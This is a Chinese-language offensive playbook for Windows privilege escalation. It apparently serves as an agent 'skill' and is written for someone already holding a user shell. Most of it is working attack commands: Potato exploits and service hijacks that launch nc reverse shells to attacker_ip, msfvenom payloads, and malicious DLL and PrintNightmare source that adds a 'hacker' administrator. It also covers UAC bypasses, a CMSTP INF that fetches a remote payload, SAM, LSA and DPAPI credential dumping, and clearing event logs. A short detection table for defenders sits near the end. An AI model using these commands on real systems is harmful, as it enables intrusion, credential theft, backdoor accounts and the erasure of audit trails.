offensive-windows-privesc

Windows 权限提升

你在 Windows 目标上拥有一个普通用户 shell。你的目标是通过系统化的枚举和利用错误配置、易受攻击的服务以及未打补丁的软件，提升到 NT AUTHORITY\SYSTEM 或本地 Administrator。本技能提供了一套结构化方法，从被动侦察逐步推进到更具攻击性的技术。

Windows 权限提升与 Linux 有着根本区别。攻击面主要集中在服务、令牌、注册表、DLL 加载机制以及 Windows 访问控制模型上。掌握这些基础机制后，你就可以将任意枚举工具发现的问题串联起来，形成有效的提权路径。

快速工作流

1. 运行自动化枚举工具（WinPEAS、PowerUp、Seatbelt），查找错误配置。
2. 检查当前权限——SeImpersonate/SeAssignPrimaryToken 可立即用于提权。
3. 枚举服务，查找未加引号的路径、弱 DACL 和可写入的二进制文件。
4. 检查 AlwaysInstallElevated 注册表项，寻找基于 MSI 的提权方式。
5. 找出在高权限进程中劫持 DLL 的机会。
6. 如果你以本地管理员身份运行，但没有高权限上下文，则尝试绕过 UAC。
7. 检查计划任务、注册表自动运行项和可写入的 PATH 目录。
8. 从 SAM、DPAPI、LSA 密钥和凭据管理器中提取凭据。
9. 最后再检查 PrintNightmare 和其他尚未修补的漏洞。

---

自动化枚举

首先运行自动化工具，全面了解攻击面。系统地检查输出——这些工具能发现你原本可能会遗漏的问题。

# WinPEAS
.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1
.\winPEASx64.exe servicesinfo  # Specific checks only

# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt

# SharpUp / Seatbelt / BeRoot
.\SharpUp.exe audit
.\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt
.\beRoot.exe

---

令牌模拟

如果你的用户拥有 SeImpersonate 或 SeAssignPrimaryToken 权限（服务帐户、IIS AppPool、SQL Server、MSSQL 常见），你就可以模拟 SYSTEM 令牌。这是 Windows 上最可靠的提权途径之一。

权限检查

# Check current privileges
whoami /priv

# Look for these specifically:
# SeImpersonatePrivilege        - Impersonate a client after authentication
# SeAssignPrimaryTokenPrivilege - Replace a process-level token

JuicyPotato（Windows Server 2008-2016、Windows 7-10 1809 之前的版本）

# JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

# Common CLSIDs vary by OS version
# Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}
# Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

# If default CLSID fails, enumerate valid ones
.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}

PrintSpoofer（Windows 10、Server 2016/2019）

# Abuses the Print Spooler service to capture a SYSTEM token
.\PrintSpoofer64.exe -i -c powershell.exe

# Direct command execution
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

GodPotato（Windows 8-11、Server 2012-2022）

# Works across a wide range of Windows versions -- choose the right .NET binary
.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

SweetPotato 和 RoguePotato

# SweetPotato -- combines multiple potato techniques
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"

# RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999

根据目标操作系统版本选择相应的 Potato。PrintSpoofer 和 GodPotato 在现代系统上适用范围最广。

---

服务错误配置

以 SYSTEM 身份运行的 Windows 服务是主要的提权目标。服务路径、权限和二进制文件位置方面的错误配置会造成可利用的条件。

未加引号的服务路径

# Find unquoted service paths with spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v '"'

# Or use PowerUp
Get-ServiceUnquoted

# Example: path is C:\Program Files\Some Service\binary.exe
# Windows tries these in order:
#   C:\Program.exe
#   C:\Program Files\Some.exe
#   C:\Program Files\Some Service\binary.exe

# If you can write to C:\Program Files\Some Service\
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o "C:\Program Files\Some Service\Some.exe"

# Restart the service
sc stop "ServiceName"
sc start "ServiceName"
# Or wait for system reboot

弱服务 DACL

# Check service permissions with accesschk (Sysinternals)
.\accesschk64.exe -uwcqv "Authenticated Users" * /accepteula
.\accesschk64.exe -uwcqv "Users" * /accepteula
.\accesschk64.exe -uwcqv "Everyone" * /accepteula

# If SERVICE_CHANGE_CONFIG is granted
sc config "VulnService" binpath= "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
sc stop "VulnService"
sc start "VulnService"

# If SERVICE_ALL_ACCESS is granted
sc config "VulnService" binpath= "net localgroup administrators hacker /add"
sc stop "VulnService"
sc start "VulnService"

# PowerUp automated exploitation
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password123!'

可写入的服务二进制文件

# Check if the service binary is writable, then replace it
icacls "C:\Program Files\Service\binary.exe"
move "C:\Program Files\Service\binary.exe" "C:\Program Files\Service\binary.exe.bak"
copy C:\Users\Public\payload.exe "C:\Program Files\Service\binary.exe"
sc stop "ServiceName" && sc start "ServiceName"

# Using PowerUp
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

---

AlwaysInstallElevated

如果计算机和用户的 AlwaysInstallElevated 注册表项都设为 1，任何用户都可以使用 SYSTEM 权限安装 MSI 包。

# Check both registry keys (both must be 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Generate a malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f msi -o escalate.msi

# Install with elevated privileges
msiexec /quiet /qn /i C:\Users\Public\escalate.msi

# Using PowerUp
Write-UserAddMSI
# Creates UserAdd.msi that adds a local admin
msiexec /quiet /qn /i UserAdd.msi

---

DLL 劫持

Windows DLL 搜索顺序为将恶意库注入高权限进程上下文创造了机会。当以 SYSTEM 身份运行的进程从可写入的位置加载 DLL 时，你可以用自己的 DLL 替换它。

搜索顺序劫持

# Standard DLL search order:
# 1. Application directory
# 2. System directory (C:\Windows\System32)
# 3. 16-bit system directory
# 4. Windows directory
# 5. Current directory
# 6. PATH directories

# Monitor DLL loading with Process Monitor (procmon)
# Filter: Result = NAME NOT FOUND, Path ends with .dll

# Find writable directories in PATH
$env:PATH -split ';' | ForEach-Object {
    $acl = Get-Acl $_ -ErrorAction SilentlyContinue
    if ($acl) {
        $_ + " -> " + ($acl.Access | Where-Object {
            $_.IdentityReference -match "Users|Everyone|Authenticated" -and
            $_.FileSystemRights -match "Write|Modify|FullControl"
        } | Select-Object -First 1).IdentityReference
    }
}

幽灵 DLL 劫持

# Some services load DLLs that do not exist -- use procmon to identify these.
# Common phantom DLLs: wlbsctrl.dll (IKEEXT), wbemcomn.dll (WMI), fveapi.dll
# Generate: msfvenom -p windows/x64/shell_reverse_tcp LHOST=x LPORT=4444 -f dll -o wlbsctrl.dll
copy wlbsctrl.dll C:\writable\path\directory\

恶意 DLL 模板

// dll_hijack.c -- compile with: x86_64-w64-mingw32-gcc -shared -o hijack.dll dll_hijack.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(NULL, "cmd.exe /c net localgroup administrators hacker /add",
                      NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    }
    return TRUE;
}

---

UAC 绕过

当你以本地管理员身份在中等完整性上下文中运行时，可以绕过用户帐户控制。绕过 UAC 后可提升到高完整性级别，且不会出现同意提示。

检查 UAC 设置

# Check current integrity level
whoami /groups | findstr "Mandatory"

# Check UAC configuration
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# ConsentPromptBehaviorAdmin = 0 means UAC is effectively disabled

fodhelper.exe 绕过

# fodhelper.exe auto-elevates and reads from a user-writable registry key
# Works on Windows 10/11

# Set the registry key to execute our command
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -Force

# Trigger fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

eventvwr.exe 绕过

# eventvwr.exe reads from HKCU registry before HKCR
# Works on Windows 7-10

New-Item "HKCU:\Software\Classes\mscfile\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\Public\payload.exe" -Force

# Trigger eventvwr
Start-Process "C:\Windows\System32\eventvwr.exe"

# Cleanup
Remove-Item "HKCU:\Software\Classes\mscfile\" -Recurse -Force

CMSTP 绕过

# Create an INF file that CMSTP will process
$inf = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://attacker_ip/payload.sct
"@
$inf | Out-File C:\Users\Public\bypass.inf

# Execute CMSTP with the crafted INF
cmstp.exe /ni /s C:\Users\Public\bypass.inf

---

滥用计划任务

以 SYSTEM 身份运行且操作可写入或权限配置错误的计划任务可提供提权途径。

# Enumerate scheduled tasks
schtasks /query /fo LIST /v > C:\Users\Public\tasks.txt

# Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM" -B 5

# Check permissions on task action binaries
icacls "C:\Path\To\Task\Binary.exe"

# If the binary is writable
copy C:\Users\Public\payload.exe "C:\Path\To\Task\Binary.exe"

# Check task file permissions (XML definitions)
.\accesschk64.exe -uwq "C:\Windows\System32\Tasks" /accepteula

# Create a new scheduled task (requires appropriate permissions)
schtasks /create /tn "Escalate" /tr "C:\Users\Public\payload.exe" /sc onstart /ru SYSTEM

# Using PowerShell
$action = New-ScheduledTaskAction -Execute "C:\Users\Public\nc.exe" -Argument "attacker_ip 4444 -e cmd.exe"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "Escalate" -Action $action -Trigger $trigger -Principal $principal

---

注册表自动运行项

通过注册表项配置为启动时运行的程序，如果其二进制文件或引用路径可写入，就可能遭到劫持。

# Common autorun registry locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions on autorun binaries
.\accesschk64.exe -uwqs "Everyone" "C:\Program Files" /accepteula
.\accesschk64.exe -uwqs "Users" "C:\Program Files" /accepteula

# If an autorun binary is writable
move "C:\Program Files\Autorun\app.exe" "C:\Program Files\Autorun\app.exe.bak"
copy C:\Users\Public\payload.exe "C:\Program Files\Autorun\app.exe"

# Wait for admin login or system reboot

# Using PowerUp
Get-ModifiableRegistryAutoRun

---

PrintNightmare -- CVE-2021-34527

PrintNightmare 会影响 Windows Print Spooler 服务，并可实现远程代码执行和本地权限提升。它允许将任意 DLL 作为 SYSTEM 加载。

# Check if Print Spooler is running
Get-Service -Name Spooler

# Check if the system is patched
Get-HotFix | Where-Object { $_.HotFixID -match "KB500(05010|05022|05040)" }

# Local privilege escalation variant
# Requires a malicious DLL accessible via UNC path or local path

# Using the PowerShell PoC
Import-Module .\CVE-2021-34527.ps1
Invoke-Nightmare -DLL "C:\Users\Public\malicious.dll"

# Using SharpPrintNightmare
.\SharpPrintNightmare.exe "C:\Users\Public\malicious.dll"

# The DLL executes as SYSTEM when the Spooler processes the driver
# Common payload: add user to local admins
# DLL calls: net localgroup administrators hacker /add

// printnightmare_dll.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}

---

凭据收集

系统中存储的凭据可用于横向移动，或直接提升至权限更高的帐户。

SAM 数据库提取

# SAM and SYSTEM hive extraction (requires admin or backup operators group)
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
reg save HKLM\SECURITY C:\Users\Public\SECURITY

# Transfer to attacker machine and extract with secretsdump
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

# Volume Shadow Copy method (if reg save fails)
wmic shadowcopy call create Volume='C:\'
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Users\Public\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Users\Public\SYSTEM

DPAPI 和 LSA 机密

# DPAPI -- list credential blobs
dir C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\
dir C:\Users\<user>\AppData\Local\Microsoft\Credentials\

# Mimikatz DPAPI decryption (requires SYSTEM or user context)
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<blob>" exit

# SharpDPAPI for targeted extraction
.\SharpDPAPI.exe triage

# LSA secrets (service account passwords, auto-logon creds, machine account)
mimikatz.exe "privilege::debug" "lsadump::secrets" exit

凭据管理器

# Enumerate stored credentials
cmdkey /list

# If credentials are stored for admin accounts, use runas
runas /savecred /user:DOMAIN\admin "cmd.exe /c whoami > C:\Users\Public\whoami.txt"

其他凭据来源

# Unattended install files
dir C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\sysprep\sysprep.xml /s 2>nul

# IIS configuration and web.config
type C:\inetpub\wwwroot\web.config 2>nul

# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear

# PowerShell history
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Saved RDP connections
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

---

检测 / 防御方视角

上述每种技术都有相应的检测机会。了解这些内容有助于你在成熟目标上更谨慎地操作，也有助于蓝队构建监控。

技术	检测指标
WinPEAS/枚举	短时间内大量执行 WMI 查询、注册表读取和服务枚举
令牌模拟	创建命名管道（PrintSpoofer）、COM/DCOM 异常激活（Potato 系列）、Sysmon 事件 ID 8（CreateRemoteThread）
滥用服务	服务配置变更（事件 ID 7045）、执行 sc.exe/reg.exe、替换二进制文件（文件完整性）
AlwaysInstallElevated	msiexec.exe 衍生出意外的子进程、非管理员用户触发 MSI 安装事件
DLL 劫持	从异常路径加载 DLL（Sysmon 事件 ID 7）、系统目录中存在未签名的 DLL
UAC 绕过	修改 HKCU\Software\Classes 下的注册表项、自动提权进程衍生出 cmd/powershell（事件 ID 4688）
滥用计划任务	创建任务事件（事件 ID 4698）、修改任务（事件 ID 4702）、执行 schtasks.exe
PrintNightmare	Print Spooler 从非标准路径加载 DLL、事件 ID 808（PrintService）、驱动程序安装事件
凭据收集	访问 LSASS（Sysmon 事件 ID 10）、reg.exe 访问 SAM/SECURITY/SYSTEM hive、Mimikatz 特征

关键日志来源：

Windows Security Log: 4688 (process creation), 4697 (service install), 4698 (task creation), 4703 (token adjust), 7045 (new service)
Sysmon: Event 1 (process), 7 (DLL load), 8 (CreateRemoteThread), 10 (LSASS access), 13 (registry set)
PowerShell: Script Block Logging (4104), Module Logging, Transcription

---

演练速查表

PHASE 1 -- ENUMERATE
  whoami /priv                                # SeImpersonate? SeAssignPrimaryToken?
  whoami /groups                              # Local admin? Backup operators?
  systeminfo                                  # OS version, hotfixes, architecture
  wmic service get name,pathname,startmode    # Unquoted paths
  reg query HKLM\...\AlwaysInstallElevated    # MSI escalation
  schtasks /query /fo LIST /v                 # Scheduled tasks
  reg query HKLM\...\Run                      # Autoruns

PHASE 2 -- QUICK WINS
  SeImpersonate -> PrintSpoofer / GodPotato   # Service account to SYSTEM
  AlwaysInstallElevated -> msiexec payload    # Any user to SYSTEM
  Writable service binary -> replace + restart

PHASE 3 -- SERVICE EXPLOITATION
  Unquoted path -> drop binary in gap
  Weak DACL -> sc config binpath
  DLL hijack -> writable PATH dir or phantom DLL

PHASE 4 -- UAC + CREDENTIALS
  fodhelper/eventvwr -> high integrity shell
  SAM + SYSTEM hive extraction -> offline crack
  Mimikatz -> DPAPI, LSA, credential manager
  cmdkey /list -> runas /savecred

PHASE 5 -- CVE EXPLOITATION (last resort)
  PrintNightmare -> CVE-2021-34527 (Spooler)
  Check systeminfo against exploit-db/windows-exploit-suggester

CLEANUP
  Remove dropped binaries and DLLs
  Restore original service configurations
  Remove created users and scheduled tasks
  Clear PowerShell history and event logs (if authorized)
  sc config "ServiceName" binpath= "original_path"

---

重要参考资料

• WinPEAS -- Windows 权限提升综合脚本：https://github.com/peass-ng/PEASS-ng
• PowerUp -- PowerShell 权限提升工具：https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
• SharpUp -- PowerUp 的 C# 移植版：https://github.com/GhostPack/SharpUp
• Seatbelt -- 主机调查工具：https://github.com/GhostPack/Seatbelt
• BeRoot -- Windows 权限提升检查工具：https://github.com/AlessandroZ/BeRoot
• PrintSpoofer：https://github.com/itm4n/PrintSpoofer
• GodPotato：https://github.com/BeichenDream/GodPotato
• JuicyPotato：https://github.com/ohpe/juicypotato
• UACME -- UAC 绕过方法：https://github.com/hfiref0x/UACME
• HackTricks Windows 权限提升：https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
• CVE-2021-34527（PrintNightmare）：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
• MITRE ATT&CK T1548 -- 滥用权限提升控制机制：https://attack.mitre.org/techniques/T1548/
• MITRE ATT&CK T1574 -- 劫持执行流：https://attack.mitre.org/techniques/T1574/
• PayloadsAllTheThings Windows 权限提升：https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md